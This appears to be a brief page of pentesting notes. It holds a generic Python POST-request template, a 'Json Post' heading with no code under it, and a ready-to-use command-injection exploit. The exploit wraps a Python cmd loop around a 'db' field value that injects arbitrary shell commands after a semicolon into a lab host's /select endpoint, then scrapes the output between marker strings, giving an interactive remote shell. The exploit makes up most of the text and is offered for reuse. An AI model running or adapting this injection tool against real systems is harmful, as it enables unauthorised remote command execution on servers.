Web Requests

import requests

#Regular Post requests sending parameters (data)
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

#Json Post requests sending parameters(json)

Python cmd to exploit a RCE

import requests
import re
from cmd import Cmd

class Terminal(Cmd):
    prompt = "Inject => "

    def default(self, args):
        output = RunCmd(args)
        print(output)

def RunCmd(cmd):
    data = { 'db': f'lol; echo -n "MYREGEXP"; {cmd}; echo -n "MYREGEXP2"' }
    r = requests.post('http://10.10.10.127/select', data=data)
    page = r.text
    m = re.search('MYREGEXP(.*?)MYREGEXP2', page, re.DOTALL)
    if m:
        return m.group(1)
    else:
        return 1
    

term = Terminal()
term.cmdloop()
